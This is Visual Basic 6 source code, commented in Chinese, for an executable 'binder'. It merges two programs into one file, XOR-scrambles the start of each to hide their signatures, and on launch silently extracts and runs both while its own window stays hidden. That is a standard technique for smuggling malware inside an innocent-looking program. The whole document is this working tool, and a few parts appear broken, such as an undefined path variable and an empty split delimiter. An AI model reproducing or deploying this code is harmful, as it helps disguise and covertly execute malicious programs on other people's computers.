'界面上form1 的名字改成mainfrm
'建立3个文本控件名字分别是txtChooseOne、txtChooseTwo、txtDestination
'建立5个按钮控件名字分别是cmdChooseOne、cmdChooseTwo、cmdDestination、cmdBind、cmdCancel
'工程引用部件Microsoft common dialog control 6.0，然后界面放上这个控件
'工程名字一定要英文或是数字。否则程序捆绑后都是错误。
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Const SW_SHOWNORMAL = 1
Dim FileName1 As String
Dim FileName2 As String
Dim FileDestination As String
Dim StringPlace As Long
Private Sub Form_Load()
FileName1 = "": FileName2 = "": FileDestination = "": StringPlace = 0
'On Error Resume Next
'获取本文件完整内容
Dim FileContent() As Byte
Dim FileNum As Integer
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:/1.exe" For Binary As FileNum
ReDim FileContent(FileLen(FilePath & App.EXEName & ".exe") - 1)
'ReDim FileContent(FileLen("c:/1.exe") - 1)
Get FileNum, , FileContent
Close FileNum
'查找"VbExeFileBind"
StringPlace = InStrRev(StrConv(FileContent, vbUnicode), "VbExeFileBind")
If StringPlace <> 0 Then
'Debug.Print "此文件已经捆绑过！"
Call SplitFileAndRun(FileContent)
mainfrm.Visible = False
End
Else
'Debug.Print "此文件未被捆绑！"
mainfrm.Visible = True
End If
End Sub
Private Sub cmdChooseOne_Click()
FileName1 = ""
CDLog.FileName = ""
CDLog.ShowOpen
If Trim(CDLog.FileName) <> "" And Dir(Trim(CDLog.FileName)) <> "" And UCase(Right(Trim(CDLog.FileName), 4)) = ".EXE" Then
Dim FileNameExt As String
FileNameExt = Right(CDLog.FileName, Len(CDLog.FileName) - InStrRev(Trim(CDLog.FileName), "/"))
Dim i As Integer: i = 1
While (i <= Len(FileNameExt))
If Asc(Mid(FileNameExt, i, 1)) < 32 Or Asc(Mid(FileNameExt, i, 1)) > 127 Then
MsgBox "抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
Exit Sub
End If
i = i + 1
Wend
FileName1 = Trim(CDLog.FileName)
txtChooseOne.Text = FileName1
Call CheckTxt
Else
txtChooseOne.Text = ""
FileName1 = ""
MsgBox "可能未选择文件或者文件不存在，也可能不是EXE文件！", vbCritical
End If
End Sub
Private Sub cmdChooseTwo_Click()
FileName2 = ""
CDLog.FileName = ""
CDLog.ShowOpen
If Trim(CDLog.FileName) <> "" And Dir(Trim(CDLog.FileName)) <> "" And UCase(Right(Trim(CDLog.FileName), 4)) = ".EXE" Then
Dim FileNameExt As String
FileNameExt = Right(CDLog.FileName, Len(CDLog.FileName) - InStrRev(Trim(CDLog.FileName), "/"))
Dim i As Integer: i = 1
While (i <= Len(FileNameExt))
If Asc(Mid(FileNameExt, i, 1)) < 32 Or Asc(Mid(FileNameExt, i, 1)) > 127 Then
MsgBox "抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
Exit Sub
End If
i = i + 1
Wend
FileName2 = Trim(CDLog.FileName)
txtChooseTwo.Text = FileName2
Call CheckTxt
Else
txtChooseTwo.Text = ""
FileName2 = ""
MsgBox "可能未选择文件或者文件不存在，也可能不是EXE文件！", vbCritical
End If
End Sub
Private Sub cmdDestination_Click()
FileDestination = ""
CDLog.FileName = ""
CDLog.ShowSave
If Trim(CDLog.FileName) <> "" And UCase(Right(Trim(CDLog.FileName), 4)) = ".EXE" Then
Dim FileNameExt As String
FileNameExt = Right(CDLog.FileName, Len(CDLog.FileName) - InStrRev(Trim(CDLog.FileName), "/"))
Dim i As Integer: i = 1
While (i <= Len(FileNameExt))
If Asc(Mid(FileNameExt, i, 1)) < 32 Or Asc(Mid(FileNameExt, i, 1)) > 127 Then
MsgBox "抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
Exit Sub
End If
i = i + 1
Wend
FileDestination = Trim(CDLog.FileName)
txtDestination.Text = FileDestination
Call CheckTxt
Else
txtDestination.Text = ""
FileDestination = ""
MsgBox "可能未指定文件名，也可能指定的不是EXE文件！", vbCritical
End If
End Sub
Private Sub cmdBind_Click()
'On Error GoTo ERR
If Dir(FileDestination) <> "" Then
If MsgBox("文件已经存在，是否覆盖？", vbYesNo + vbQuestion) = vbYes Then
Kill (FileDestination)
Else
MsgBox "请重新选择目标文件！", vbInformation
End If
End If
'获取当前的完整路径
Dim FilePath As String
If Right(App.Path, 1) = "/" Then
FilePath = App.Path
Else
FilePath = App.Path & "/"
End If
Dim FileNum As Integer
Dim FileContent1() As Byte: Dim FileContent2() As Byte: Dim FileContent3() As Byte
Dim Iiiii As Integer: Dim Sssss As String
'读入本程序可执行文件内容
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
ReDim FileContent1(FileLen(FilePath & App.EXEName & ".exe") - 1)
Get FileNum, , FileContent1
Close FileNum
'读入第一个可执行文件内容
FileNum = FreeFile()
Open FileName1 For Binary As FileNum
ReDim FileContent2(FileLen(FileName1) - 1)
Get FileNum, , FileContent2
For Iiiii = 1 To 200 Step 1
Sssss = FileContent2(Iiiii - 1) Xor 99
FileContent2(Iiiii - 1) = Sssss
Next
Close FileNum
'读入第二个可执行文件内容
FileNum = FreeFile()
Open FileName2 For Binary As FileNum
ReDim FileContent3(FileLen(FileName2) - 1)
Get FileNum, , FileContent3
For Iiiii = 1 To 200 Step 1
Sssss = FileContent3(Iiiii - 1) Xor 99
FileContent3(Iiiii - 1) = Sssss
Next
Close FileNum
'将本程序、第一个文件和第二个文件写入新文件
FileNum = FreeFile()
Open FileDestination For Binary As FileNum
Put #FileNum, , FileContent1
Put #FileNum, , FileContent2
Put #FileNum, , FileContent3
Put #FileNum, , "VbExeFileBind"
Put #FileNum, , Trim(App.EXEName) & "|||" & Trim(Str(FileLen(FilePath & App.EXEName & ".exe"))) & "" & _
Mid(Right(Trim(FileName1), Len(Trim(FileName1)) - InStrRev(Trim(FileName1), "/")), 1, InStr(1, LCase(Right(Trim(FileName1), Len(Trim(FileName1)) - InStrRev(Trim(FileName1), "/"))), ".exe") - 1) & "|||" & Trim(Str(FileLen(FileName1))) & "" & _
Mid(Right(Trim(FileName2), Len(Trim(FileName2)) - InStrRev(Trim(FileName2), "/")), 1, InStr(1, LCase(Right(Trim(FileName2), Len(Trim(FileName2)) - InStrRev(Trim(FileName2), "/"))), ".exe") - 1) & "|||" & Trim(Str(FileLen(FileName2))) & ""
Close #FileNum
Dim ii As Integer
For ii = 1 To Len(Trim(App.EXEName) & ".exe") Step 1
'Debug.Print Asc(Mid(Trim(App.EXEName) & ".exe", ii, 1))
Next ii
MsgBox "捆绑成功！", vbInformation
End
Exit Sub
ERR:
On Error Resume Next
Close #FileNum
Kill FileDestination
MsgBox "捆绑失败！", vbCritical
End Sub
Private Sub cmdCancel_Click()
End
End Sub
Sub CheckTxt()
If UCase(Right(FileName1, 4)) = ".EXE" And UCase(Right(FileName2, 4)) = ".EXE" And UCase(Right(FileDestination, 4)) = ".EXE" Then
cmdBind.Enabled = True
Else
cmdBind.Enabled = False
End If
End Sub
Sub SplitFileAndRun(FileContent() As Byte)
Dim Arr() As String '定义存放文件组信息的字符串数组
Dim Arr1() As String '定义存放文件信息的字符串数组
Dim FN(2, 1) As String
Dim StringToEof As String '定义存放标志字符后至文件尾部的字符变量
StringToEof = Mid(StrConv(FileContent, vbUnicode), StringPlace + 17) '获取标志字符后至文件尾部的字符
Arr = Split(StringToEof, "") '以“”拆分文件组信息的字符串数组
'调试输出文件相关信息
Dim i As Integer: Dim n As Integer
For i = LBound(Arr) To UBound(Arr) Step 1
If Arr(i) <> "" Then
Arr1 = Split(Arr(i), "|||") '以“|||”拆分文件组信息的字符串数组
For n = LBound(Arr1) To UBound(Arr1) Step 1
If Arr1(n) <> "" Then
FN(i, n) = Trim(Arr1(n))
'Debug.Print "**" & FN(i, n) & "**"
End If
Next n
End If
Next i
'获取当前的完整路径
Dim FilePath As String
If Right(App.Path, 1) = "/" Then
FilePath = App.Path
Else
FilePath = App.Path & "/"
End If
'定义读写文件需要的变量
Dim Iiiii As Integer: Dim Mmmmm As String
Dim FileContent1() As Byte
Dim FileNum As Integer
On Error Resume Next
'读取被捆绑的第一个文件
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:/1.exe" For Binary As FileNum
ReDim FileContent1(Val(FN(1, 1)) - 1)
Get FileNum, Val(FN(0, 1)) + 1, FileContent1
For Iiiii = 1 To 200 Step 1
Mmmmm = CByte(FileContent1(Iiiii - 1)) Xor 99
FileContent1(Iiiii - 1) = Mmmmm
Next
Close FileNum
'判断文件是否存在
If Dir(FN(1, 0) & ".exe") <> "" Then Kill FN(1, 0) & ".exe"
'将读取到的被捆绑的第一个文件写入新文件
FileNum = FreeFile()
Open FN(1, 0) & ".exe" For Binary As FileNum
Put #FileNum, , FileContent1
Close #FileNum
'读取被捆绑的第二个文件
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:/1.exe" For Binary As FileNum
ReDim FileContent1(Val(FN(2, 1)) - 1)
Get FileNum, Val(FN(0, 1)) + Val(FN(1, 1)) + 1, FileContent1
For Iiiii = 1 To 200 Step 1
Mmmmm = CByte(FileContent1(Iiiii - 1)) Xor 99
FileContent1(Iiiii - 1) = Mmmmm
Next
Close FileNum
'判断文件是否存在
If Dir(FN(2, 0) & ".exe") <> "" Then Kill FN(2, 0) & ".exe"
'将读取到的被捆绑的第二个文件写入新文件
FileNum = FreeFile()
Open FN(2, 0) & ".exe" For Binary As FileNum
Put #FileNum, , FileContent1
Close #FileNum
'如果存在则执行两个新生成的文件
If Dir(FilePath & FN(1, 0) & ".exe") <> "" Then
Call WinExec(FilePath & FN(1, 0) & ".exe", SW_SHOWNORMAL)
Else
'Debug.Print FN(1, 0) & ".exe" & "不存在！"
End If
If Dir(FilePath & FN(2, 0) & ".exe") <> "" Then
Call WinExec(FilePath & FN(2, 0) & ".exe", SW_SHOWNORMAL)
Else
'Debug.Print FN(2, 0) & ".exe" & "不存在！"
End If
End Sub
